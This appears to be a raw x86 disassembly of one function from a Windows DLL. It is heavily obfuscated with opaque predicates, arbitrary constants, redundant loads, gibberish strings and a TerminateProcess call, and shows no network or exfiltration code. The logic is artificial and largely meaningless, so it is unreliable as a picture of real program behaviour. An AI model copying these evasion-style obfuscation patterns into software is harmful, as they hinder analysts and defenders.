mov byte [ebp - 0x73], bl
call fcn.10022bea
add esp, 0xc
lea eax, [ebp - 0x210]
lea edx, [ebp - 0x268]
lea ecx, [ebp - 0x218]
push 1
push eax
lea eax, [ebp - 0x50]
push 0x4552
push eax
call fcn.100258d5
add esp, 0x14
jmp 0x10028780
mov dword [ebp - 0x2c], 0x46e1d67a
mov dword [ebp - 0x20], 0xa58
mov dword [ebp - 0x18], ebx
jmp 0x1002859d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x32c], 0x165d3e8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002858c
mov esi, dword [ebp - 0x32c]
sub esi, 4
neg esi
sbb esi, esi
xor edx, edx
inc esi
mov dword [ebp - 0x324], esi
mov dword [ebp - 0x18], 0x43de
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setl dl
xor ecx, ecx
cmp esi, edx
sete cl
xor eax, eax
sub ecx, 0x2b5bddc
cmp ecx, 0x9020024
setle al
xor edx, edx
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
sub edx, 0x2a82c73c
cmp edx, eax
setl cl
cmp ecx, 1
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x30268d9a
setle cl
cmp ecx, dword [ebp - 0x2c]
jg 0x10028734
mov dword [ebp - 0x34], 0xc9db4546
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x24], 0x3d1b
cmp dword [ebp - 0x24], 0x3d9d
jle 0x10028690
mov edx, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x59c]
or eax, edx
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002865a
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x59c]
call fcn.1000efb0
mov edx, dword [ebp - 0x18]
inc esi
cmp esi, 0x29af
jl 0x1002863a
inc edi
cmp edi, 0x2dc9
jl 0x10028638
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x5b16
jl 0x10028636
push 3
mov dword [ebp - 0x18], ebx
pop esi
jmp 0x100286a9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4ec], 0x6722525a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10028698
cmp dword [ebp - 0x24], 0x3a76
jge 0x100286c2
push str.pahbfnwcl_czlfi_mtlrsa_ttakdme_smukdmz_ydbngsy_snafndbx_lxtxvfvv_gtvgrp
call fcn.10045eb3
pop ecx
push 0x4ff6
push 0x5251
push ecx
push 0x4787
push 0x1602
push 0x5e65
push 1
mov edx, 0xb82
mov dword [ebp - 4], 0x2d
mov ecx, 0x6673
call fcn.10024ba0
mov eax, dword [ebp - 0x328]
add esp, 0x1c
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4e4]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x2c], 0xc815
mov ecx, dword [ebp - 0x2c]
neg ecx
sub ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x46c], ecx
jmp 0x10028780
push 0x7eaf
push ecx
push ecx
push 0x26c4
push ecx
mov dl, 1
call fcn.10024e00
mov eax, dword [ebp - 0x34]
add esp, 0x14
mov dword [ebp - 0x18], eax
xor edx, edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x50]
cmp eax, 0xe77a780b
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x338]
push 3
setl cl
pop esi
mov dword [eax + 4], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x338]
call fcn.1000e817
mov edi, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x30]
jmp 0x10028849
movzx edx, byte [ebp + edi - 0x7b]
mov eax, edi
sub eax, ecx
push 4
movzx eax, byte [ebp + eax - 0x7e]
movzx ecx, word [ebp + eax*2 - 0xd8]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + edi - 0x7c]
add ecx, edx
mov word [ebp + eax*2 - 0xd8], cx
lea ecx, [ebp - 0x350]
call fcn.1000e794
xor edx, edx
inc edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ebx
jmp 0x100287ee
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x350]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100287df
push 2
mov dword [ebp - 0x1c], ebx
pop ecx
jmp 0x1002880d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x314], 0xc1ec2db2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100287fc
mov eax, dword [ebp - 0x350]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x18], ebx
jmp 0x10028837
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x314], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10028826
lea ecx, [ebp - 0x350]
call fcn.1000e817
mov ecx, ebx
add edi, 2
jmp 0x1002839d
push 1
lea ecx, [ebp - 0x2ec]
call fcn.1000e794
mov dword [ebp - 4], 0x30
mov eax, 0x3ca955a
mov dword [ebp - 0x24], 0x77cc4247
mov edx, 0x6605
mov dword [ebp - 0x30], 0xffff
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], eax
lea eax, [ebp - 0xbc]
push eax
push ecx
lea eax, [ebp - 0x2ec]
xor cl, cl
push eax
call fcn.10025b9c
add esp, 0xc
mov dword [ebp - 0xbc], ebx
push 4
pop edi
jmp 0x100288d0
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x50c], 0x8ab5457d
inc dword [ebp - 0xbc]
cmp dword [ebp - 0xbc], edi
jl 0x100288b9
mov eax, dword [ebp - 0x2ec]
cmp dword [eax], ebx
jne 0x100288f6
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x508], eax
test eax, eax
jne 0x100288f6
mov edx, ebx
jmp 0x100288f9
xor edx, edx
inc edx
mov eax, dword [ebp - 0x2ec]
mov ecx, dword [eax]
xor eax, eax
test edx, edx
sets al
sub eax, ecx
je 0x10028915
test ecx, ecx
je 0x10028915
xor edx, edx
inc edx
jmp 0x10028917
mov edx, ebx
xor eax, eax
cmp edx, ecx
sete al
xor edx, edx
imul eax, ecx
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
test ecx, ecx
lea ecx, [ebp - 0x2ec]
sets dl
xor eax, eax
cmp edx, 0x9df9
setge al
mov dword [ebp - 0x40c], eax
or dword [ebp - 4], 0xffffffff
call fcn.1000e817
xor eax, eax
mov dword [ebp - 0x3e4], 7
mov word [ebp - 0xd6], ax
lea ecx, [ebp - 0x3f8]
mov word [ebp - 0x3f8], ax
lea eax, [ebp - 0xd8]
push eax
mov dword [ebp - 0x3e8], ebx
call fcn.1001d0db
cmp dword [ebp - 0x3e4], 8
lea eax, [ebp - 0x3f8]
push ebx
cmovae eax, dword [ebp - 0x3f8]
lea ecx, [ebp - 0x3f8]
push 1
movzx eax, word [eax]
mov dword [ebp - 0x1dc], eax
call fcn.1000f2e8
mov dword [ebp - 0x20], 0xd6c05baf
mov dword [ebp - 0x18], 0x2f8ba796
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x20], 0xfffffffd
cmp dword [ebp - 0x20], 0x19
jg 0x10028c85
xor edx, edx
inc edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x2c], 0x4c01
mov dword [ebp - 0x18], ebx
jmp 0x10028a17
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x468], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10028a06
mov dword [ebp - 0x1c], ebx
jmp 0x10028c6f
mov dword [ebp - 0x30], 0x1da9
cmp dword [ebp - 0x30], 0x6db
jge 0x10028abc
lea eax, [ebp - 0x120]
mov dword [ebp - 0x14c], ebx
push eax
lea eax, [ebp - 0x140]
mov dword [ebp - 0x140], ebx
push eax
lea eax, [ebp - 0x14c]
mov dword [ebp - 0x120], ebx
push eax
push str._ld__ld__ld_n
call fcn.10045bcb
mov edx, dword [ebp - 0x14c]
add esp, 0x10
mov ecx, ebx
test edx, edx
js 0x10028aae
mov eax, dword [ebp - 0x120]
mov esi, dword [ebp - 0x140]
sub eax, edx
mov edi, esi
mov dword [ebp - 0x30], eax
cmp ecx, esi
jg 0x10028aa5
mov eax, edx
sub eax, dword [ebp - 0x120]
cmp ecx, eax
jl 0x10028aa5
mov eax, dword [ebp - 0x30]
add eax, ecx
cmp edi, eax
je 0x10028ace
inc ecx
dec edi
cmp ecx, edx
jle 0x10028a8c
push 3
pop esi
push str.Impossible
call fcn.10047c61
pop ecx
xor edx, edx
inc edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x34], 0xcd49598a
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], ebx
jmp 0x10028af8
sub edx, ecx
sub esi, ecx
push edx
push esi
push ecx
push str._ld__ld__ld_n
call fcn.10045eb3
add esp, 0x10
push 3
pop esi
jmp 0x10028ab9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x368], 0x520f09de
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10028ae7
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x13c]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
je 0x10028bf5
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x13c]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x20], eax
jne 0x10028b28
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x13c]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], 9
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x138]
mov eax, dword [ebp - 0x20]
dec ecx
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
xor ecx, ecx
imul eax, eax, 0x3f07
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x13c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x13c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0x68d2
mov eax, dword [ebp - 0x34]
setne cl
xor edx, edx
cmp eax, ecx
setg dl
sub edx, 0xfffffffa
neg edx
sbb edx, edx
inc edx
cmp edx, dword [ebp - 0x134]
jle 0x10028ba7
cmp dword [ebp - 0x20], ebx
jne 0x10028ba7
xor edx, edx
mov ecx, ebx
inc edx
jmp 0x10028bac
xor edx, edx
inc edx
mov ecx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, dword [ebp + eax*4 - 0x13c]
jge 0x10028bbe
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
add eax, 0xffff092a
neg eax
sbb eax, eax
inc eax
cmp esi, eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x20]
jne 0x10028bf1
cmp dword [ebp - 0x24], ebx
je 0x10028bf5
mov eax, edx
jmp 0x10028bf7
mov eax, ebx
cmp eax, dword [ebp - 0x20]
jle 0x10028bff
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], 0xffff
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x13c]
sub eax, dword [ebp - 0x1c]
cmp eax, 0xffffffff
setg cl
mov dword [ebp - 0x360], ecx
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x24], ebx
je 0x10028c5e
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
inc eax
cmp eax, dword [ebp - 0x364]
jl 0x10028c4b
mov eax, ebx
cmp dword [ebp - 0x20], ebx
je 0x10028c4d
mov eax, edx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jne 0x10028c5a
cmp dword [ebp - 0x20], ebx
je 0x10028c5e
mov eax, edx
jmp 0x10028c60
mov eax, ebx
imul eax, eax, 0xb4f5
mov dword [ebp - 0x360], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x10028a25
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x19
jle 0x100289db
push 3
mov esi, ebx
pop edi
push 2
pop eax
mov dword [ebp - 0x34], esi
cmp esi, eax
jae 0x10028f04
mov dword [ebp - 0x18], 0xa012e1df
lea ecx, [ebp - 0x448]
mov dword [ebp - 0x30], 1
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x17c], 0x26c312fb
mov dword [ebp - 0x30], 0x2fd2
mov dword [ebp - 0x24], 0xec326874
push edi
call fcn.1000e794
mov dword [ebp - 4], 0x31
xor ecx, ecx
mov dword [ebp - 0x2c], 0x9387
inc ecx
mov dword [ebp - 0xf8], ecx
mov dword [ebp - 0x98], ebx
jmp 0x10028d06
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x178], 0xec3d4e70
inc dword [ebp - 0x98]
cmp dword [ebp - 0x98], ecx
jl 0x10028cef
push ebx
push ecx
lea eax, [ebp - 0x98]
mov dl, cl
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x71ce
push eax
push 0x6b14
call fcn.10025a11
mov eax, dword [ebp - 0x24]
add esp, 0x14
mov eax, dword [ebp - 0xf8]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x178]
dec dword [ebp - 0xf8]
mov edx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x18]
imul edx, eax
mov eax, dword [ebp - 0x18]
cmp edx, eax
setle cl
xor eax, eax
sub ecx, dword [ebp - 0x30]
cmp ecx, 0xffffffff
setge al
xor ecx, ecx
test eax, eax
setns cl
or eax, 0xffffffff
sub eax, ecx
je 0x10028da5
xor ecx, ecx
mov dword [ebp - 0x24], 0xfca8
inc ecx
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x24]
dec dword [ebp - 0x24]
test eax, eax
cmove ecx, ebx
mov dword [ebp - 0x178], ecx
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x30], eax
jmp 0x10028ee5
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x270], 0x9c94d23a
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jg 0x10028eb1
mov byte [ebp - 0x7d], bl
lea ecx, [ebp - 0x7d]
push 1
call fcn.10024f4c
pop ecx
mov dword [ebp - 0xb4], 2
cmp dword [ebp - 0xb4], ebx
jl 0x10028ea9
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], ebx
jg 0x10028e9e
mov dword [ebp - 0x24], 0x668e
cmp dword [ebp - 0x24], 0x690f
jle 0x10028e57
push 0x16e0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, ebx
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x5c0]
cdq
idiv esi
mov eax, edx
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10028e30
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5c0]
call fcn.1000efb0
inc esi
cmp esi, 0x4bfe
jl 0x10028e11
inc edi
cmp edi, 0x1e09
jl 0x10028e0f
lea eax, [ebp - 0x7f]
mov byte [ebp - 0x7f], bl
push eax
push 0x2b20
push 1
push 0x4ef2
push 1
mov edx, 0x749c
mov cl, 1
call fcn.100250e6
add esp, 0x14
cmp dword [ebp - 0x24], 0x64a7
jge 0x10028e8f
push str.snxyvvrq_idqnb_wru_zuymdtr_mbraqnxe_vkhsnqdt_uiepjbx_tgzxbcjst_puj_brc_bqzgxhzdj
call fcn.10045eb3
pop ecx
mov dword [ebp - 4], 0x31
inc dword [ebp - 0x2c]
jmp 0x10028de8
dec dword [ebp - 0xb4]
jmp 0x10028dd9
inc dword [ebp - 0x18]
jmp 0x10028db8
lea eax, [ebp - 0xb4]
push eax
push 1
lea eax, [ebp - 0x17c]
push eax
push ecx
push ecx
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0xf8]
push eax
lea edx, [ebp - 0x228]
call fcn.100251e6
mov esi, dword [ebp - 0x34]
add esp, 0x1c
push 3
pop edi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x448]
call fcn.1000e817
xor eax, eax
mov word [ebp + esi*2 - 0xd8], ax
inc esi
jmp 0x10028c8a
mov dword [ebp - 0x24], 0x8d3c891c
xor ecx, ecx
inc ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x18], ebx
jmp 0x10028f38
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x380], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10028f2b
push 0x31dd
push 0x7d6d
push ecx
push ecx
push 0x68ec
mov edx, 0xa63
call fcn.10025251
mov eax, dword [ebp - 0x380]
add esp, 0x14
mov edx, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
imul edx, eax
mov eax, dword [ebp - 0x380]
cmp edx, eax
mov eax, dword [ebp - 0x24]
setg cl
imul ecx, ecx, 0x6525
sub ecx, 2
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add eax, ecx
cmp eax, 0xd14cd495
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x380]
setne cl
add eax, 9
add ecx, eax
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setge dl
imul eax, edx, 0x5ba
test eax, eax
je 0x10028fe1
lea eax, [ebp - 0x81]
mov byte [ebp - 0x81], bl
push eax
push ecx
push 1
sub esp, 0x10
mov ecx, 0x6244
call fcn.1002538f
add esp, 0x1c
jmp 0x1002902c
mov dword [ebp - 0x30], 0xffffffff
xor eax, eax
inc eax
mov dword [ebp - 0x30], 0x7f4039ee
push ebx
push ecx
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x6b]
mov dword [ebp - 0x2b0], eax
mov edx, 0x7626
push 0x1953
mov byte [ebp - 0x6b], bl
call fcn.1002587a
add esp, 0xc
mov dl, 1
push 0xeb2
push ecx
push ecx
lea ecx, [ebp - 0x2b0]
call fcn.10022bbd
add esp, 0xc
mov eax, dword [ebp - 0x114]
shr eax, 1
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xac]
inc eax
cmp eax, dword [ebp - 0x30]
jae 0x10029461
xor edx, edx
inc edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x18], ebx
jmp 0x10029069
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x230], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002905c
mov eax, dword [ebp - 0x20]
mov ecx, 0xffff65ed
sub ecx, eax
jne 0x1002907d
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jle 0x100290ae
cmp dword [ebp - 0x20], ebx
jne 0x100290b0
mov edx, ebx
mov eax, dword [ebp - 0x20]
imul eax, edx
xor edx, edx
cmp eax, 0x23c5
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp eax, edx
setge cl
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], ebx
je 0x100290de
mov dword [ebp - 0x24], 0xfffffffc
dec dword [ebp - 0x24]
jmp 0x10029111
mov dword [ebp - 0x18], ebx
jmp 0x100290f4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5a8], 0x8cbd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100290e3
mov dword [ebp - 0x20], ebx
jmp 0x1002910b
mov dword [ebp - 0x230], 0x2633933b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x100290fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0xac]
lea ecx, [eax + ecx*2]
call fcn.100215ce
mov dword [ebp - 0x154], eax
lea ecx, [ebp - 0x398]
xor eax, eax
inc eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x2b8], 0x166941fc
mov dword [ebp - 0x1bc], 0xf2d3f504
mov dword [ebp - 0x1c4], eax
push eax
call fcn.1000e794
lea ecx, [ebp - 0x398]
mov dword [ebp - 4], 0x34
push ecx
xor eax, eax
lea edx, [ebp - 0xa0]
inc eax
mov dword [ebp - 0x3c], eax
push 0x2749
push ecx
mov dword [ebp - 0x3c], 0x28217c71
mov dword [ebp - 0x3c], 0xc3521152
mov dword [ebp - 0x1cc], 0xe44fa3fd
push eax
call fcn.10022bea
add esp, 0x10
mov dword [ebp - 0xa0], ebx
jmp 0x100291b7
mov dword [ebp - 0x1f4], 0xbf90a233
mov dword [ebp - 0x224], 0xc40ed3c1
mov dword [ebp - 0x214], 0x658a6001
mov dword [ebp - 0x21c], 1
mov dword [ebp - 0x20c], 0xa3bdf78
mov dword [ebp - 0x1fc], 0xfffffff8
mov dword [ebp - 0x204], 0x5ab1361
mov dword [ebp - 0x1ec], ebx
mov byte [ebp - 0x35], bl
cmp byte [ebp - 0x35], 0
je 0x100294dc
push 0x4da3
push 0x7f98
push 1
push ebx
push 0x56f0
push 0x1111
mov edx, 0x2666
mov cl, 1
call fcn.100241ca
add esp, 0x18
push ecx
lea eax, [ebp - 0x1ec]
mov dl, 1
push eax
lea eax, [ebp - 0x1f4]
push eax
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x224]
call fcn.10025ee0
add esp, 0x20
mov ecx, dword [ebp - 0xc]
mov eax, 0x1039e0fc
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret